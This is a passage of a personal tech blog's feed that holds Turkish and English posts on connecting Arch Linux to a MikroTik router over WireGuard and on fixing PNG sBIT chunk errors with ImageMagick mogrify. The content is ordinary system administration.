class="m">12</span>.06<span class="w"> </span>KiB<span class="w"> </span>received,<span class="w"> </span><span class="m">8</span>.13<span class="w"> </span>KiB<span class="w"> </span>sent </code></pre></div> <p>If you see a duration in the <code>latest handshake</code> section, congratulations; you have shaken hands with MikroTik.</p> <p>Now you can connect to the servers behind MikroTik via SSH. If you are still experiencing issues related to disk space or performance, I suggest you take a look at my articles on <a href="/en/arch-linux-disk-alani-gorunmuyor-cozum/">Arch Linux Disk Space Not Visible Solution</a> or <a href="/en/arch-linux-cpu-performans-ayarlari/">Arch Linux CPU Performance Settings</a>.</p> <p>Alright then, see you at the next technical crisis!</p> <hr/> <h2 id="related-posts">🔗 Related Posts<a class="headerlink" href="#related-posts" title="Permanent link">#</a></h2> <ul> <li><a href="/en/arch-linux-cpu-performans-ayarlari/">Arch Linux CPU Performance Settings</a></li> <li><a href="/en/arch-linux-disk-alani-gorunmuyor-cozum/">Arch Linux Disk Space Not Visible Solution</a></li> <li><a href="/en/png-mogrify-chunk-hatalari-cozumu/">My Test with PNG Files: Mogrify and Chunk Errors</a></li> </ul>2026-05-10T23:05:00+03:002026-05-10T23:05:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-10:/arch-linux-mikrotik-wireguard-kurulumu/

<p>Arch Linux üzerinde WireGuard kurup MikroTik'e bağlanırken karşınıza çıkacak o meşhur DNS 'signature mismatch' hatasını ve en doğru çözüm yolunu anlatıyorum.</p>

<p>Arch Linux kullan&inodot;yorsan&inodot;z, bir &scedil;eyi "sadece kurmak" yetmez; o &scedil;eyin sistemin geri kalan&inodot;yla (&ouml;zellikle NetworkManager ve DNS ile) nas&inodot;l kavga etti&gbreve;ini de bilmeniz gerekir. Bug&uuml;n, MikroTik'i VPN Hub yaparak Arch Linux peer'&inodot;n&inodot; ba&gbreve;lamay&inodot; anlat&inodot;yorum. </p> <p>Ben de her seferinde kendi eski notlar&inodot;mda ve sa&gbreve;da solda konfig&uuml;rasyon aramaktan yoruldu&gbreve;um i&ccedil;in, t&uuml;m s&uuml;reci ve o sinir bozucu DNS hatas&inodot;n&inodot;n &ccedil;&ouml;z&uuml;m&uuml;n&uuml; buraya tek par&ccedil;a halinde b&inodot;rak&inodot;yorum.</p> <h2 id="adm-1-arac-gerecleri-kusanalm">📦 Ad&inodot;m 1: Ara&ccedil; gere&ccedil;leri ku&scedil;anal&inodot;m<a class="headerlink" href="#adm-1-arac-gerecleri-kusanalm" title="Permanent link">#</a></h2> <p>&Ouml;ncelikle ihtiyac&inodot;m&inodot;z olan paket <code>wireguard-tools</code>. Bu paket hem gerekli yard&inodot;mc&inodot; ara&ccedil;lar&inodot; hem de ba&gbreve;lant&inodot;y&inodot; y&ouml;netecek systemd unit'lerini getiriyor.</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>wireguard-tools </code></pre></div> <h2 id="adm-2-anahtar-uretimi-ve-yetkiler">🔑 Ad&inodot;m 2: Anahtar &Uuml;retimi ve Yetkiler<a class="headerlink" href="#adm-2-anahtar-uretimi-ve-yetkiler" title="Permanent link">#</a></h2> <p>WireGuard anahtarlar&inodot; <code>/etc/wireguard/</code> alt&inodot;nda durur. Klas&ouml;r&uuml; olu&scedil;turup anahtarlar&inodot; tek sat&inodot;rda &uuml;retelim (ben genelde b&ouml;yle yapar&inodot;m, daha h&inodot;zl&inodot;):</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>-i root@archlinux:~#<span class="w"> </span>mkdir<span class="w"> </span>-p<span class="w"> </span>/etc/wireguard/<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="nb">cd</span><span class="w"> </span>/etc/wireguard/ root@archlinux:/etc/wireguard#<span class="w"> </span>wg<span class="w"> </span>genkey<span class="w"> </span><span class="p">|</span><span class="w"> </span>tee<span class="w"> </span>privatekey<span class="w"> </span><span class="p">|</span><span class="w"> </span>wg<span class="w"> </span>pubkey<span class="w"> </span>&gt;<span class="w"> </span>publickey root@archlinux:/etc/wireguard#<span class="w"> </span>chmod<span class="w"> </span><span class="m">600</span><span class="w"> </span>privatekey </code></pre></div> <p>Burada <code>privatekey</code> dosyas&inodot;n&inodot; sadece root'un okuyabildi&gbreve;inden emin olun; yoksa sistem size "g&uuml;venlik" diye ba&gbreve;&inodot;rmaya ba&scedil;lar.</p> <h2 id="adm-3-konfigurasyon-wg0conf">⚙️ Ad&inodot;m 3: Konfig&uuml;rasyon (wg0.conf)<a class="headerlink" href="#adm-3-konfigurasyon-wg0conf" title="Permanent link">#</a></h2> <p>&Scedil;imdi as&inodot;l meseleye geliyoruz. <code>/etc/wireguard/wg0.conf</code> dosyas&inodot;n&inodot; olu&scedil;tural&inodot;m. Burada kendi nickname'inizi veya &ouml;zel bir notunuzu eklemek, konfig&uuml;rasyonu takip etmeyi kolayla&scedil;t&inodot;r&inodot;r.</p> <div class="highlight"><pre><span></span><code><span class="k">[Interface]</span> <span class="c1"># Friday13 VPN Peer Configuration</span> <span class="na">PrivateKey</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&lt;SENIN_PRIVATE_KEYIN&gt;</span> <span class="na">Address</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">10.100.0.10/32</span> <span class="na">DNS</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">192.168.0.1, 10.100.0.1</span> <span class="k">[Peer]</span> <span class="c1"># MikroTik Office Gateway</span> <span class="na">PublicKey</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&lt;MIKROTIK_PUBLIC_KEYI&gt;</span> <span class="na">Endpoint</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">178.xxx.xxx.184:51820</span> <span class="na">AllowedIPs</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">10.100.0.0/24, 192.168.0.0/24</span> <span class="na">PersistentKeepalive</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">25</span> </code></pre></div> <p>Bu noktada MikroTik taraf&inodot;nda da yeni bir Peer ekleyip, Arch makinenizin <code>publickey</code> i&ccedil;eri&gbreve;ini oraya girmeniz gerekiyor.</p> <hr/> <h2 id="sorun-giderme-resolvconf-signature-mismatch-hatas">⚡ Sorun Giderme: "resolvconf: signature mismatch" Hatas&inodot;<a class="headerlink" href="#sorun-giderme-resolvconf-signature-mismatch-hatas" title="Permanent link">#</a></h2> <p>Ba&gbreve;lant&inodot;y&inodot; ba&scedil;latmaya &ccedil;al&inodot;&scedil;t&inodot;&gbreve;&inodot;n&inodot;zda muhtemelen &scedil;u hatayla toslayacaks&inodot;n&inodot;z: <code>resolvconf: signature mismatch: /etc/resolv.conf</code></p> <p><strong>Neden oluyor?</strong> Arch Linux'ta NetworkManager varsay&inodot;lan olarak <code>/etc/resolv.conf</code> dosyas&inodot;na direkt dalar ve &uuml;zerine yazar. Ancak <code>openresolv</code> (ve dolay&inodot;s&inodot;yla <code>wg-quick</code>), bu dosyan&inodot;n imzas&inodot;n&inodot; kontrol eder. NetworkManager dosyay&inodot; de&gbreve;i&scedil;tirince imza bozulur ve WireGuard DNS ayarlar&inodot;n&inodot; i&scedil;leyemez.</p> <h3 id="cozum-dogru-yol-systemd-resolved">&Ccedil;&ouml;z&uuml;m: "Do&gbreve;ru Yol" (systemd-resolved)<a class="headerlink" href="#cozum-dogru-yol-systemd-resolved" title="Permanent link">#</a></h3> <p>"Dirty hack" denilen y&ouml;ntemlerle u&gbreve;ra&scedil;mak yerine (PreUp gibi), NetworkManager'&inodot; <code>systemd-resolved</code> kullanacak &scedil;ekilde ayarlamak en temizidir.</p> <ol> <li> <p>NetworkManager ayar&inodot;n&inodot; g&uuml;ncelleyin: <code>/etc/NetworkManager/NetworkManager.conf</code> dosyas&inodot;na &scedil;unu ekleyin: <code>ini [main] dns=systemd-resolved</code></p> </li> <li> <p>Servisleri tetikleyin: <code>bash yuceltoluyag@archlinux:~$ sudo systemctl enable --now systemd-resolved yuceltoluyag@archlinux:~$ sudo systemctl restart NetworkManager</code></p> </li> </ol> <p>Art&inodot;k <code>/etc/resolv.conf</code> dosyan&inodot;z <code>127.0.0.53</code> adresine (yani yerel systemd-resolved'a) bakacak ve WireGuard DNS ayarlar&inodot;n&inodot; sorunsuzca bu servise iletebilecek.</p> <hr/> <h2 id="baglanty-atesleme_1">🚀 Ba&gbreve;lant&inodot;y&inodot; Ate&scedil;leme<a class="headerlink" href="#baglanty-atesleme" title="Permanent link">#</a></h2> <p>Her &scedil;ey haz&inodot;rsa t&uuml;neli a&ccedil;al&inodot;m:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>systemctl<span class="w"> </span>start<span class="w"> </span>wg-quick@wg0 yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>systemctl<span class="w"> </span><span class="nb">enable</span><span class="w"> </span>wg-quick@wg0 </code></pre></div> <p>Durumu kontrol etmek i&ccedil;in efsane <code>wg</code> komutunu kullan&inodot;n:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>wg<span class="w"> </span>show interface:<span class="w"> </span>wg0 <span class="w"> </span>public<span class="w"> </span>key:<span class="w"> </span>0Cl***9F4<span class="o">=</span> <span class="w"> </span>private<span class="w"> </span>key:<span class="w"> </span><span class="o">(</span>hidden<span class="o">)</span> <span class="w"> </span>listening<span class="w"> </span>port:<span class="w"> </span><span class="m">47047</span> peer:<span class="w"> </span>hxz***50o<span class="o">=</span> <span class="w"> </span>endpoint:<span class="w"> </span><span class="m">178</span>.xxx.xxx.184:51820 <span class="w"> </span>allowed<span class="w"> </span>ips:<span class="w"> </span><span class="m">10</span>.100.0.0/24,<span class="w"> </span><span class="m">192</span>.168.0.0/24 <span class="w"> </span>latest<span class="w"> </span>handshake:<span class="w"> </span><span class="m">20</span><span class="w"> </span>seconds<span class="w"> </span>ago <span class="w"> </span>transfer:<span class="w"> </span><span class="m">12</span>.06<span class="w"> </span>KiB<span class="w"> </span>received,<span class="w"> </span><span class="m">8</span>.13<span class="w"> </span>KiB<span class="w"> </span>sent </code></pre></div> <p><code>latest handshake</code> k&inodot;sm&inodot;nda s&uuml;reyi g&ouml;r&uuml;yorsan&inodot;z, tebrikler; MikroTik ile el s&inodot;k&inodot;&scedil;t&inodot;n&inodot;z demektir. </p> <p>Art&inodot;k MikroTik arkas&inodot;ndaki sunuculara SSH ile ba&gbreve;lanabilirsiniz. E&gbreve;er hala disk alan&inodot; veya performansla ilgili sorunlar ya&scedil;&inodot;yorsan&inodot;z, <a href="/arch-linux-disk-alani-gorunmuyor-cozum/">Arch Linux Disk Alan&inodot; G&ouml;r&uuml;nmuyor &Ccedil;&ouml;z&uuml;m&uuml;</a> veya <a href="/arch-linux-cpu-performans-ayarlari/">Arch Linux CPU Performans Ayarlar&inodot;</a> yaz&inodot;lar&inodot;ma da bir g&ouml;z at&inodot;n derim.</p> <p>Hadi eyvallah, bir sonraki teknik krizde g&ouml;r&uuml;&scedil;mek &uuml;zere!</p> <hr/> <h2 id="ilgili-yazlar">🔗 &Idot;lgili Yaz&inodot;lar<a class="headerlink" href="#ilgili-yazlar" title="Permanent link">#</a></h2> <ul> <li><a href="/arch-linux-cpu-performans-ayarlari/">Arch Linux CPU Performans Ayarlar&inodot;</a></li> <li><a href="/arch-linux-disk-alani-gorunmuyor-cozum/">Arch Linux Disk Alan&inodot; G&ouml;r&uuml;nmuyor &Ccedil;&ouml;z&uuml;m&uuml;</a></li> <li><a href="/png-mogrify-chunk-hatalari-cozumu/">PNG Dosyalar&inodot;yla &Idot;mtihan&inodot;m: Mogrify ve Chunk Hatalar&inodot;</a></li> </ul>2026-05-10T21:40:00+03:002026-05-10T21:40:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-10:/en/png-mogrify-chunk-hatalari-cozumu/

<p>I share the real reason for the 'sBIT: bad length' errors encountered while processing PNGs with Mogrify and the fastest way to get rid of this chunk pain.</p>

<p>Last night was one of those famous mornings again; eyes bloodshot from sleeplessness, coffee ice-cold... I got in front of the terminal just to quickly resize 500 screenshots and upload them to the site. I was saying, "I'll write two lines of <code>mogrify</code> and go to sleep." But when the terminal started screaming at me in red letters, the color of the game changed: <code>libpng warning: sBIT: bad length</code>. </p> <p>Especially in PNGs taken with Windows' Snipping Tool, this chunk (data block) error is a real pain. If you also feel like you have gone into a boxing match over the terminal like me, let's see how we can tame this ImageMagick beast.</p> <h2 id="mogrify-vs-convert-the-overwrite-gamble">🛠️ Mogrify vs. Convert: The "Overwrite" Gamble<a class="headerlink" href="#mogrify-vs-convert-the-overwrite-gamble" title="Permanent link">#</a></h2> <p>First, let's get this fundamental matter out of the way: <code>convert</code> protects your original file, while <code>mogrify</code> dives straight into overwriting without looking back. <sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> </p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~/screenshots$<span class="w"> </span>cp<span class="w"> </span>-r<span class="w"> </span>images/<span class="w"> </span>images_yedek/<span class="w"> </span><span class="c1"># TAKE A BACKUP FIRST!</span> </code></pre></div> <p>Unless you have millions of files, using the processor efficiently is important, as I mentioned in my <a href="/en/arch-linux-cpu-performans-ayarlari/">Arch Linux CPU Performance Settings</a> post, rather than ImageMagick which is known for its speed but can be clunky. However, <code>mogrify</code> is still king in batch processing. But working without a backup is suicide in the terminal, karda&scedil;.</p> <h2 id="getting-rid-of-the-png-chunk-trouble">🧹 Getting Rid of the PNG Chunk Trouble<a class="headerlink" href="#getting-rid-of-the-png-chunk-trouble" title="Permanent link">#</a></h2> <p>PNG files do not only consist of pixels. Inside, there are chunks like IHDR, IDAT (which look like NASA documents) and our archenemy <code>sBIT</code>. This <code>sBIT</code> block actually holds color depth information, but sometimes its size (length) comes in wrong, and <code>libpng</code> throws an error when it sees this.</p> <h3 id="1-radically-solving-the-sbit-error">1. Radically Solving the sBIT Error<a class="headerlink" href="#1-radically-solving-the-sbit-error" title="Permanent link">#</a></h3> <p>The cleanest way to silence errors is to leave that problematic block out when processing the file:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~/screenshots$<span class="w"> </span>mogrify<span class="w"> </span>-define<span class="w"> </span>png:exclude-chunks<span class="o">=</span>sBIT<span class="w"> </span>*.png </code></pre></div> <p>With this command, we say: "I can't deal with your damn sBIT, throw it in the trash." Does the quality drop? Nah, I didn't notice any difference. The file gets lighter, the errors stop.</p> <h3 id="2-full-cleaning-strip-and-beyond">2. Full Cleaning: -strip and Beyond<a class="headerlink" href="#2-full-cleaning-strip-and-beyond" title="Permanent link">#</a></h3> <p>If you say "I don't want metadata, date, or camera information in my file, just let the image remain":</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~/screenshots$<span class="w"> </span>mogrify<span class="w"> </span>-strip<span class="w"> </span>-quality<span class="w"> </span><span class="m">95</span><span class="w"> </span>*.png </code></pre></div> <p>The <code>-strip</code> command scrapes off all EXIF and ICC profile data. However, be careful; when color profiles are gone, colors may look slightly pale on some screens. If you are not doing professional photography (which you probably aren't for blog images), this is a great trade-off to reduce file size.</p> <hr/> <h2 id="bulk-resizing-and-that-critical-sign_1">📐 Bulk Resizing and that Critical "&gt;" Sign<a class="headerlink" href="#bulk-resizing-and-that-critical-sign" title="Permanent link">#</a></h2> <p>One of the biggest mistakes is just typing <code>1200x1200</code>. If you don't put that <code>&gt;</code> sign at the end, ImageMagick will forcefully upscale your already small images to 1200 pixels, and you'll end up with a muddy result.</p> <div class="highlight"><pre><span></span><code><span class="c1"># Only resize those larger than 1200px, don't touch the smaller ones!</span> yuceltoluyag@archlinux:~/screenshots$<span class="w"> </span>mogrify<span class="w"> </span>-resize<span class="w"> </span><span class="s2">"1200x1200&gt;"</span><span class="w"> </span>*.png </code></pre></div> <p>This sign is the hidden hero of the terminal. You won't easily find this meticulousness in GUI programs, my friend.</p> <hr/> <h2 id="imagemagick-vs-graphicsmagick-gm">🥊 ImageMagick vs. GraphicsMagick (GM)<a class="headerlink" href="#imagemagick-vs-graphicsmagick-gm" title="Permanent link">#</a></h2> <p>Let me leave a piece of "geek" information here: GraphicsMagick (gm), which split from ImageMagick in a rebellion back in 2002, can sometimes be a more stable alternative that consumes less RAM. If you have thousands of files, try this:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~/screenshots$<span class="w"> </span>gm<span class="w"> </span>mogrify<span class="w"> </span>-strip<span class="w"> </span>-resize<span class="w"> </span>800x800<span class="w"> </span>*.png </code></pre></div> <p>But for bloggers like us, ImageMagick is still sitting on its throne. You just need to pay attention to those restrictive "Resource Limit" slaps in the <code>/etc/ImageMagick-7/policy.xml</code> file. If you are getting a <code>cache resources exhausted</code> error, you need to tear that file apart and increase the limits.</p> <h2 id="verification-did-it-work">🔍 Verification: "Did It Work?"<a class="headerlink" href="#verification-did-it-work" title="Permanent link">#</a></h2> <p>If you want to take an X-ray after finishing the process, the <code>identify</code> command comes to our rescue:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~/screenshots$<span class="w"> </span>identify<span class="w"> </span>-verbose<span class="w"> </span>resim.png<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>-i<span class="w"> </span><span class="s2">"png\|chunk"</span> </code></pre></div> <p>If the output is clean, it means you have finished your job as a terminal wolf like <code>Friday13</code>. </p> <p>Remember; terminal is a matter of patience. When you get an error, instead of hitting your head on the keyboard, look at your parameters again. As I said in my <a href="/en/arch-linux-disk-alani-gorunmuyor-cozum/">Arch Linux Disk Space Not Visible Solution</a> post, sometimes the biggest problems are hidden in the simplest settings.</p> <p>Farewell, I am going to sleep now karda&scedil;!</p> <hr/> <h2 id="related-posts">🔗 Related Posts<a class="headerlink" href="#related-posts" title="Permanent link">#</a></h2> <ul> <li><a href="/en/arch-linux-disk-alani-gorunmuyor-cozum/">Arch Linux Disk Space Not Visible Solution</a></li> <li><a href="/en/linux-guvenlik-clamav-tam-kapsamli-rehber/">Linux Security: A Full Comprehensive Guide with ClamAV</a></li> <li><a href="/en/arch-linux-cpu-performans-ayarlari/">Arch Linux CPU Performance Settings</a></li> <li><a href="/en/arch-linux-nvidia-ekran-karti-kurulumu/">Nvidia Graphics Card Installation in Arch Linux</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p><code>mogrify</code> overwrites files. Those who don't back up will be left stranded, my friend. Also, with ImageMagick v7, you may need to add <code>magick</code> to the beginning of commands; try it as <code>magick mogrify</code> on your system. I need sleep, my eyes are closing, karda&scedil;. Farewell! Take a look at my <a href="/en/arch-linux-disk-alani-gorunmuyor-cozum/">Arch Linux Disk Space Not Visible Solution</a> article sometime, that one is also full of trouble. Alright, goodbye karda&scedil;!&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-10T21:40:00+03:002026-05-10T21:40:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-10:/png-mogrify-chunk-hatalari-cozumu/

<p>Mogrify ile PNG işlerken karşınıza çıkan 'sBIT: bad length' hatalarının gerçek nedenini ve bu chunk belasından kurtulmanın en hızlı yolunu paylaşıyorum.</p>

<p>Bazen uykusuz ge&ccedil;en gecelerin sabah&inodot; olduk&ccedil;a yorucu olabiliyor; kahve buz gibi, g&ouml;zler kan &ccedil;ana&gbreve;&inodot;... Ge&ccedil;en g&uuml;n s&inodot;rf 500 tane ekran g&ouml;r&uuml;nt&uuml;s&uuml;n&uuml; h&inodot;zl&inodot;ca k&uuml;&ccedil;&uuml;lt&uuml;p siteye atmak i&ccedil;in terminalin ba&scedil;&inodot;na ge&ccedil;tim. "&Idot;ki sat&inodot;r <code>mogrify</code> yazar, uyurum" diyordum. Ama terminal o k&inodot;rm&inodot;z&inodot; yaz&inodot;larla bana ba&gbreve;&inodot;rmaya ba&scedil;lay&inodot;nca i&scedil;in rengi de&gbreve;i&scedil;ti: <code>libpng warning: sBIT: bad length</code>. </p> <p>&Ouml;zellikle Windows'un ekran al&inodot;nt&inodot;s&inodot; arac&inodot;yla al&inodot;nan PNG'lerde bu chunk (veri blo&gbreve;u) hatas&inodot; tam bir ba&scedil; belas&inodot;. E&gbreve;er siz de benim gibi terminal &uuml;zerinden bir boks ma&ccedil;&inodot;na &ccedil;&inodot;km&inodot;&scedil; hissediyorsan&inodot;z, gelin bu ImageMagick canavar&inodot;n&inodot; nas&inodot;l dizginleyece&gbreve;imize bakal&inodot;m.</p> <h2 id="mogrify-vs-convert-uzerine-yazma-kumar">🛠️ Mogrify vs. Convert: "&Uuml;zerine Yazma" Kumar&inodot;<a class="headerlink" href="#mogrify-vs-convert-uzerine-yazma-kumar" title="Permanent link">#</a></h2> <p>&Ouml;nce &scedil;u temel meseleyi aradan &ccedil;&inodot;karal&inodot;m: <code>convert</code> orijinal dosyan&inodot;z&inodot; korur, <code>mogrify</code> ise g&ouml;z&uuml;n&uuml;n ya&scedil;&inodot;na bakmadan &uuml;zerine dalar. <sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> </p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~/screenshots$<span class="w"> </span>cp<span class="w"> </span>-r<span class="w"> </span>images/<span class="w"> </span>images_yedek/<span class="w"> </span><span class="c1"># &Ouml;NCE YEDEK AL!</span> </code></pre></div> <p>E&gbreve;er elinizde milyonlarca dosya yoksa, h&inodot;z&inodot;yla bilinen ama hantal kalabilen ImageMagick yerine <a href="/arch-linux-cpu-performans-ayarlari/">Arch Linux CPU Performans Ayarlar&inodot;</a> yaz&inodot;mda bahsetti&gbreve;im gibi i&scedil;lemciyi verimli kullanmak &ouml;nemli. Ancak <code>mogrify</code> toplu i&scedil;lemde hala kral. Ama yedeksiz &ccedil;al&inodot;&scedil;mak, terminalde intihar etmektir karda&scedil;.</p> <h2 id="png-chunk-belasndan-kurtulmak">🧹 PNG Chunk Belas&inodot;ndan Kurtulmak<a class="headerlink" href="#png-chunk-belasndan-kurtulmak" title="Permanent link">#</a></h2> <p>PNG dosyalar&inodot; sadece piksellerden olu&scedil;muyor. &Idot;&ccedil;inde NASA d&ouml;k&uuml;man&inodot; gibi IHDR, IDAT ve bizim ba&scedil; d&uuml;&scedil;man&inodot;m&inodot;z <code>sBIT</code> gibi chunk'lar var. Bu <code>sBIT</code> blo&gbreve;u asl&inodot;nda renk derinli&gbreve;i bilgisi tutuyor ama bazen boyu (length) hatal&inodot; geliyor ve <code>libpng</code> bunu g&ouml;r&uuml;nce hata f&inodot;rlat&inodot;yor.</p> <h3 id="1-sbit-hatasn-kokten-cozmek">1. sBIT Hatas&inodot;n&inodot; K&ouml;kten &Ccedil;&ouml;zmek<a class="headerlink" href="#1-sbit-hatasn-kokten-cozmek" title="Permanent link">#</a></h3> <p>Hatalar&inodot; susturman&inodot;n en temiz yolu, dosyay&inodot; i&scedil;lerken o sorunlu blo&gbreve;u d&inodot;&scedil;ar&inodot;da b&inodot;rakmakt&inodot;r:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~/screenshots$<span class="w"> </span>mogrify<span class="w"> </span>-define<span class="w"> </span>png:exclude-chunks<span class="o">=</span>sBIT<span class="w"> </span>*.png </code></pre></div> <p>Bu komutla "Senin sBIT z&inodot;kk&inodot;m&inodot;nla u&gbreve;ra&scedil;amam, at bunu &ccedil;&ouml;pe" diyoruz. Kalite bozuluyor mu? Yo, ben bir nane fark etmedim. Dosya ferahl&inodot;yor, hatalar kesiliyor.</p> <h3 id="2-tam-temizlik-strip-ve-otesi">2. Tam Temizlik: -strip ve &Ouml;tesi<a class="headerlink" href="#2-tam-temizlik-strip-ve-otesi" title="Permanent link">#</a></h3> <p>"Dosyamda metadata, tarih, kamera bilgisi istemiyorum, sadece g&ouml;rsel kals&inodot;n" diyorsan&inodot;z:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~/screenshots$<span class="w"> </span>mogrify<span class="w"> </span>-strip<span class="w"> </span>-quality<span class="w"> </span><span class="m">95</span><span class="w"> </span>*.png </code></pre></div> <p><code>-strip</code> komutu t&uuml;m EXIF ve ICC profil verilerini kaz&inodot;r atar. Ancak dikkat; renk profilleri gidince baz&inodot; ekranlarda renkler hafif soluk g&ouml;r&uuml;nebilir. E&gbreve;er profesyonel foto&gbreve;raf&ccedil;&inodot;l&inodot;k yapm&inodot;yorsan&inodot;z (ki blog g&ouml;rselleri i&ccedil;in yapm&inodot;yorsunuzdur) bu durum dosya boyutunu d&uuml;&scedil;&uuml;rmek i&ccedil;in harika bir takas.</p> <hr/> <h2 id="toplu-boyutlandrma-ve-o-kritik-isareti_1">📐 Toplu Boyutland&inodot;rma ve o Kritik "&gt;" &Idot;&scedil;areti<a class="headerlink" href="#toplu-boyutlandrma-ve-o-kritik-isareti" title="Permanent link">#</a></h2> <p>En b&uuml;y&uuml;k hatalardan biri <code>1200x1200</code> yaz&inodot;p b&inodot;rakmak. E&gbreve;er o sona <code>&gt;</code> i&scedil;aretini koymazsan&inodot;z, ImageMagick zaten k&uuml;&ccedil;&uuml;k olan g&ouml;rsellerinizi de zorla 1200 piksele b&uuml;y&uuml;t&uuml;r ve kar&scedil;&inodot;n&inodot;za &ccedil;amur gibi bir sonu&ccedil; &ccedil;&inodot;kar.</p> <div class="highlight"><pre><span></span><code><span class="c1"># Sadece 1200px'den b&uuml;y&uuml;k olanlar&inodot; k&uuml;&ccedil;&uuml;lt, k&uuml;&ccedil;&uuml;kleri elleme!</span> yuceltoluyag@archlinux:~/screenshots$<span class="w"> </span>mogrify<span class="w"> </span>-resize<span class="w"> </span><span class="s2">"1200x1200&gt;"</span><span class="w"> </span>*.png </code></pre></div> <p>Bu i&scedil;aret terminalin gizli kahraman&inodot;d&inodot;r. GUI programlar&inodot;nda bu titizli&gbreve;i zor bulursunuz hac&inodot;.</p> <hr/> <h2 id="imagemagick-vs-graphicsmagick-gm">🥊 ImageMagick vs. GraphicsMagick (GM)<a class="headerlink" href="#imagemagick-vs-graphicsmagick-gm" title="Permanent link">#</a></h2> <p>Burada bir "geek" bilgisi b&inodot;rakay&inodot;m: 2002'de bir isyanla ImageMagick'ten ayr&inodot;lan GraphicsMagick (gm) bazen daha stabil ve az RAM t&uuml;keten bir alternatif olabilir. E&gbreve;er binlerce dosyan&inodot;z varsa &scedil;unu deneyin:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~/screenshots$<span class="w"> </span>gm<span class="w"> </span>mogrify<span class="w"> </span>-strip<span class="w"> </span>-resize<span class="w"> </span>800x800<span class="w"> </span>*.png </code></pre></div> <p>Ama bizim gibi blogcular i&ccedil;in ImageMagick hala taht&inodot;nda oturuyor. Sadece <code>/etc/ImageMagick-7/policy.xml</code> dosyas&inodot;ndaki o k&inodot;s&inodot;tlay&inodot;c&inodot; "Resource Limit" tokatlar&inodot;na dikkat etmek laz&inodot;m. <code>cache resources exhausted</code> hatas&inodot; al&inodot;yorsan&inodot;z, o dosyan&inodot;n ci&gbreve;erini s&ouml;k&uuml;p limitleri art&inodot;rman&inodot;z gerekir.</p> <h2 id="dogrulama-oldu-mu">🔍 Do&gbreve;rulama: "Oldu mu?"<a class="headerlink" href="#dogrulama-oldu-mu" title="Permanent link">#</a></h2> <p>&Idot;&scedil;lemi bitirdikten sonra r&ouml;ntgen &ccedil;ekmek isterseniz <code>identify</code> komutu imdad&inodot;m&inodot;za yeti&scedil;iyor:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~/screenshots$<span class="w"> </span>identify<span class="w"> </span>-verbose<span class="w"> </span>resim.png<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>-i<span class="w"> </span><span class="s2">"png\|chunk"</span> </code></pre></div> <p>E&gbreve;er &ccedil;&inodot;kt&inodot; temizse, <code>Friday13</code> gibi bir terminal kurdu olarak i&scedil;inizi bitirmi&scedil;siniz demektir. </p> <p>Unutmay&inodot;n; terminal sab&inodot;r i&scedil;idir. Hata ald&inodot;&gbreve;&inodot;n&inodot;zda klavyeye kafa atmak yerine parametrelerinize bir daha bak&inodot;n. <a href="/arch-linux-disk-alani-gorunmuyor-cozum/">Arch Linux Disk Alan&inodot; G&ouml;r&uuml;nmuyor &Ccedil;&ouml;z&uuml;m&uuml;</a> yaz&inodot;mda da dedi&gbreve;im gibi, bazen en b&uuml;y&uuml;k sorunlar en basit ayarlarda gizlidir.</p> <p>Kal&inodot;n sa&gbreve;l&inodot;cakla, ben art&inodot;k uyumaya gidiyorum karda&scedil;!</p> <hr/> <h2 id="ilgili-yazlar">🔗 &Idot;lgili Yaz&inodot;lar<a class="headerlink" href="#ilgili-yazlar" title="Permanent link">#</a></h2> <ul> <li><a href="/arch-linux-disk-alani-gorunmuyor-cozum/">Arch Linux Disk Alan&inodot; G&ouml;r&uuml;nmuyor &Ccedil;&ouml;z&uuml;m&uuml;</a></li> <li><a href="/linux-guvenlik-clamav-tam-kapsamli-rehber/">Linux G&uuml;venlik: ClamAV ile Tam Kapsaml&inodot; Rehber</a></li> <li><a href="/arch-linux-cpu-performans-ayarlari/">Arch Linux CPU Performans Ayarlar&inodot;</a></li> <li><a href="/arch-linux-nvidia-ekran-karti-kurulumu/">Arch Linux'ta Nvidia Ekran Kart&inodot; Kurulumu</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p><code>mogrify</code> dosyalar&inodot;n &uuml;zerine yazar. Yedek almayan yolda kal&inodot;r 